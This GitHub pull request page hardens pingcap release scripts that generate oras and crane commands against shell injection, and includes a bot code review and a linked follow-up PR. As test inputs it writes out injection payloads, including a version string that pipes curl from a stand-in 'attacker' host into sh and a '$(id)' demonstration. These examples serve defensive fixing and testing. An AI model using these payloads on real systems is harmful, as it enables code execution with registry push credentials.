Skip to content

fix(scripts): validate promotion generator inputs and quote emitted oras commands - #1208

Merged
ti-chi-bot[bot] merged 1 commit into
mainfrom
fix/promotion-generator-input-validation-p1
Nov 12, 2026
Merged

ti-chi-bot[bot] merged 1 commit into
mainfrom
fix/promotion-generator-input-validation-p1

Conversation

@wuhuizuo

Copy link
Copy Markdown
Contributor

Problem

packages/scripts/gen-pre-to-ga-tag-commands.sh is the only generator under packages/scripts/ that does not source lib/validate.sh:

  • rc_ver ($1) and ga_ver ($2) go straight into the oras discover / oras tag command lines it writes, so a version such as v9.0.0" ; curl -s http://attacker/x | sh ; " becomes attacker-authored shell inside the promotion script — which runs in a container holding release-registry push credentials.
  • The output path ($3) is truncated with : >"$outfile" before any check, so the caller can destroy any file the invoking user can write.

Every sibling generator already applies assert_version to the same class of value, and the hostile-input suite did not cover this file.

Changes

  • gen-pre-to-ga-tag-commands.sh: source lib/validate.sh, validate both versions, validate the caller-supplied output path, require both versions to be present, and quote every value in the emitted oras commands.
  • lib/validate.sh: new assert_output_file helper — refuses option injection (-o), path traversal (..), non-*.sh targets, a missing parent directory, and an existing symlink or non-regular file.
  • verify-input-validation.sh: negative cases for the helper and for the generator (hostile RC version, hostile GA version, traversal output path), plus a positive case asserting the generated script is valid POSIX sh, ends each command with the quoted GA tag, and carries no unquoted shell metacharacters.

Verification

  • ./packages/scripts/verify-input-validation.sh → PASS (exit 0; all cases green, including the 4 new generator cases)
  • shellcheck -S error packages/scripts/{gen-pre-to-ga-tag-commands.sh,lib/validate.sh,verify-input-validation.sh} → PASS
  • Generated script for v9.0.0-rc.1 → v9.0.0: sh -n / bash -n PASS, values quoted
  • gh pr checks → pending (this PR)

Note on a pre-existing defect found while adding the positive case, not addressed here: every repo: / package_repo: value in packages/packages.yaml.tmpl is templated ("{{ .Release.registry }}/pingcap/tidb/image"), so the unchanged awk '{print $2}' extraction yields "{{ and the emitted repository refs are meaningless. Fixing that needs a decision on how the promotion job supplies the registry, so it is left as-is; the validation and quoting in this PR apply to whatever values the extraction produces.

Risk / Rollback

  • Risk: an external caller passing an output path that is not a *.sh file, or whose parent directory does not exist, now fails with exit 2 instead of writing. The default path (inside packages/scripts/) and any *.sh path with an existing parent keep working.
  • Rollback: revert this commit; the generator returns to its previous behaviour.

Stack

  • Previous: bottom of stack
  • Next: delivery-generator input validation (same series)

…ras commands

gen-pre-to-ga-tag-commands.sh was the only generator under packages/scripts/
that never sourced lib/validate.sh. It spliced the RC/GA version arguments
straight into the oras commands it writes, and truncated a caller-chosen output
path before checking anything, so a version containing shell metacharacters
became code in the promotion container and the output path could destroy an
unrelated file.

- source lib/validate.sh and apply assert_version to both versions
- add assert_output_file to the shared validator: refuses option injection,
  '..', non-*.sh targets, missing parents and symlinks
- quote every value in the emitted oras commands
- cover the generator with negative and positive cases in
  verify-input-validation.sh

@ti-chi-bot ti-chi-bot Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I have already done a preliminary review for you, and I hope to help you do a better job.

Summary

This PR secures the gen-pre-to-ga-tag-commands.sh script by adding input validation and quoting to prevent hostile input exploitation and file system manipulation. It introduces a new validation helper in lib/validate.sh to verify output file paths, updates the generator script to validate inputs, and adds comprehensive tests to ensure hostile cases are rejected. The changes are well-structured and address critical vulnerabilities, but there are opportunities to simplify and enhance readability and maintainability.


Critical Issues

  • None Identified: The changes address the described vulnerabilities effectively, and no additional critical issues were found.

Code Improvements

  • Simplify Repeated Validations in assert_output_file:

    • File: lib/validate.sh, Lines: 123-128
    • The multiple checks for file existence, symlink status, and regular file status can be consolidated for better readability.
    • Suggestion:
      if [ -e "$path" ]; then
          if [ -L "$path" ] || [ ! -f "$path" ]; then
              _validate_fail output_file "$path" "must be a regular file and not a symlink"
          fi
      fi
  • Avoid Code Duplication in gen-pre-to-ga-tag-commands.sh:

    • File: gen-pre-to-ga-tag-commands.sh, Lines: 21-27, 30-36
    • The logic for processing repo and platform is nearly identical. This could be abstracted into a helper function to reduce duplication.
    • Suggestion:
      process_repo() {
          local repo_type=$1
          local pattern=$2
          grep "^\s*${repo_type}:" "${PROJECT_ROOT_DIR}/packages/packages.yaml.tmpl" | awk '{print $2}' | sort -u | grep -vE "$pattern"
      }
      ...
      for repo in $(process_repo "repo" "advanced-statefulset|tidb-operator|..."); do
          echo "oras discover --distribution-spec v1.1-referrers-tag \"${repo}:${rc_ver}\" && oras tag \"${repo}:${rc_ver}\" \"${ga_ver}\"" | tee -a "$outfile"
      done
      for repo in $(process_repo "package_repo" "advanced-statefulset|tidb-operator|..."); do
          for platform in linux_amd64 linux_arm64 darwin_amd64 darwin_arm64; do
              echo "oras discover --distribution-spec v1.1-referrers-tag \"${repo}:${rc_ver}_${platform}\" && oras tag \"${repo}:${rc_ver}_${platform}\" \"${ga_ver}_${platform}\"" | tee -a "$outfile"
          done
      done

Best Practices

  • Improve Error Messages for Input Validation:

    • File: lib/validate.sh, Lines: 118-122
    • The error messages in _validate_fail would benefit from being more descriptive, e.g., specifying why a particular validation failed.
    • Suggestion:
      _validate_fail output_file "$path" "invalid output file: $reason"
  • Enhance Test Coverage for Edge Cases:

    • File: verify-input-validation.sh, Lines: 63-118
    • While the tests cover hostile and valid cases thoroughly, consider testing additional edge cases, such as:
      • Input strings with only whitespace.
      • Inputs with special characters that are not immediately harmful but still invalid (e.g., v9.0.0@!).
      • Large inputs to test the robustness of the script.
  • Use Meaningful Variable Names:

    • File: gen-pre-to-ga-tag-commands.sh, Lines: 30-36
    • The variable repo is reused between the "image" and "package" sections, which could lead to confusion. Consider using more specific names like image_repo and package_repo.
  • Add Documentation for New Helper:

    • File: lib/validate.sh, Lines: 115-147
    • While there is a brief comment for assert_output_file, the logic is complex, and a more detailed explanation would help future maintainers understand the function's purpose and behavior.
  • Adopt Consistent Shell Style:

    • File: All modified shell scripts
    • While the scripts generally follow good practices, it's worth adopting a consistent style guide (e.g., Google's Shell Style Guide) to improve readability.
    • For instance:
      • Use double square brackets ([[ ... ]]) instead of single square brackets ([ ... ]) for conditionals.
      • Prefer $(...) over backticks for command substitution.

Additional Notes

  • The PR description is thorough and provides a clear explanation of the problem, the implemented solution, and the risks involved. This level of detail is commendable.
  • The existing use of set -euo pipefail and shellcheck compliance ensures a good baseline for script robustness and maintainability.

By addressing the suggested improvements, the code can be made even more robust and maintainable while retaining its current functionality and security enhancements.

@wuhuizuo

Copy link
Copy Markdown
Contributor Author

/approve

Promotion generator now validates both versions and its output path; hostile input exits 2 without writing a script, valid input produces a quoted POSIX-clean script. verify-input-validation.sh: 60 cases pass, test-packages-cfg pass. (user confirmed 2026-11-12)

@ti-chi-bot

ti-chi-bot Bot commented Nov 12, 2026

Copy link
Copy Markdown

[APPROVALNOTIFIER] This PR is APPROVED

This pull-request has been approved by: wuhuizuo

The full list of commands accepted by this bot can be found here.

The pull request process is described here

Details Needs approval from an approver in each of these files:

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

@ti-chi-bot ti-chi-bot Bot added the approved label Nov 12, 2026
@ti-chi-bot
ti-chi-bot Bot merged commit a76afb8 into main Nov 12, 2026
8 checks passed
@ti-chi-bot
ti-chi-bot Bot deleted the fix/promotion-generator-input-validation-p1 branch November 12, 2026 11:59
ti-chi-bot Bot pushed a commit that referenced this pull request Nov 12, 2026
…mands (#1209)

## Problem

`packages/scripts/gen-delivery-image-commands.ts` writes the shell
script the delivery job runs with push credentials for
`docker.io/pingcap`, `gcr.io/pingcap-public` and
`uhub.service.ucloud.cn`. It built that script purely by concatenation:

- `crane copy ${repo}:${tag} ${destRepo}:${tag}`, `crane tag
${destRepo}:${tag} ${constTag}`, `crane tag ${destRepo}:${tag}
${converted}` — no quoting, no charset check.
- `parseImageRef` only split on the last colon; `loadImageCopyRules`
used the parsed `delivery.yaml` as-is; `getMatchingRulesFor` compiled
every `tags_regex` with a bare `new RegExp`, with no length or
quantifier guard.
- Permissive rules such as
`^(master|dedicated|cloud-engine)(-.*)?-nextgen$` match a tag like
`master-$(curl -s host|sh)-nextgen`, which was then emitted verbatim.

Demonstrated on the previous version:

```
$ deno run --allow-read --allow-write gen-delivery-image-commands.ts --images_file=images.yaml --yaml_file=delivery.yaml --outfile=out.sh
$ cat out.sh
crane copy us-docker.pkg.dev/hub/pingcap/tidb/image:master-$(id)-nextgen docker.io/pingcap/tidb:master-$(id)-nextgen
```

The same value is also an authorization problem: the delivery policy
(which source may be copied to which public destination) is enforced in
the sibling consumer, not in the generator that emits the credentialed
commands.

## Changes

- New `packages/scripts/lib/delivery-config.ts`: the rule types,
`REPOSITORY_RE` / `TAG_RE`, `MAX_REGEX_LENGTH`, `compileRuleRegex`,
`assertStringArray`, `validateDeliveryConfig`, `getMatchingRulesFor`,
plus `shellQuote`. Both readers of `delivery.yaml` now import it.
- `gen-delivery-image-commands.ts`: validates the source repo/tag,
destination repositories, constant tags and the rewritten tag; refuses a
bad value with exit 2 before writing; quotes every argument; refuses an
output path containing `..`.
- `get-delivery-target-images.ts`: local copies removed, imports the
shared module. Behaviour unchanged — same validation, same
`cdn.jsdelivr.net` allowlist, byte-identical output for `v8.5.0` (diffed
against the previous version).
- `.github/scripts/ci.sh`: new `test_gen_delivery_image_commands` —
type-checks all three scripts, then feeds three hostile inputs
(metacharacter tag, injection in `dest_repositories`, quadratic
`tags_regex`) and asserts exit 2 with no script written, plus one valid
case asserting a quoted, POSIX-clean script. Skipped with a message when
`deno` is absent (the runner has no deno today; wiring deno into the
workflow is deliberately left out of this PR rather than adding an
unpinned install step).

## Verification

- `deno check
packages/scripts/{gen-delivery-image-commands.ts,get-delivery-target-images.ts,lib/delivery-config.ts}`
→ PASS
- `test_gen_delivery_image_commands` → PASS (4 ✅, including the three
rejections)
- old script, same hostile input → exit 0 and a script containing
`master-$(id)-nextgen`; new script → exit 2, no file written
- `get-delivery-target-images.ts --config=packages/delivery.yaml
--version=v8.5.0` → identical output to the previous version
- `gh pr checks` → pending (this PR)

## Risk / Rollback

- Risk: an environment where `result-images.yaml` carries a repo/tag
outside the accepted charset now fails fast (exit 2) instead of emitting
an unquoted command. Values produced by the current builds
(`us-docker.pkg.dev/...`, `master-nextgen`, `v8.5.0`) pass.
- Rollback: revert this commit; the scripts return to the previous
behaviour.

## Stack

- Previous: #1208
- Next: PR-workflow least privilege (same series)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant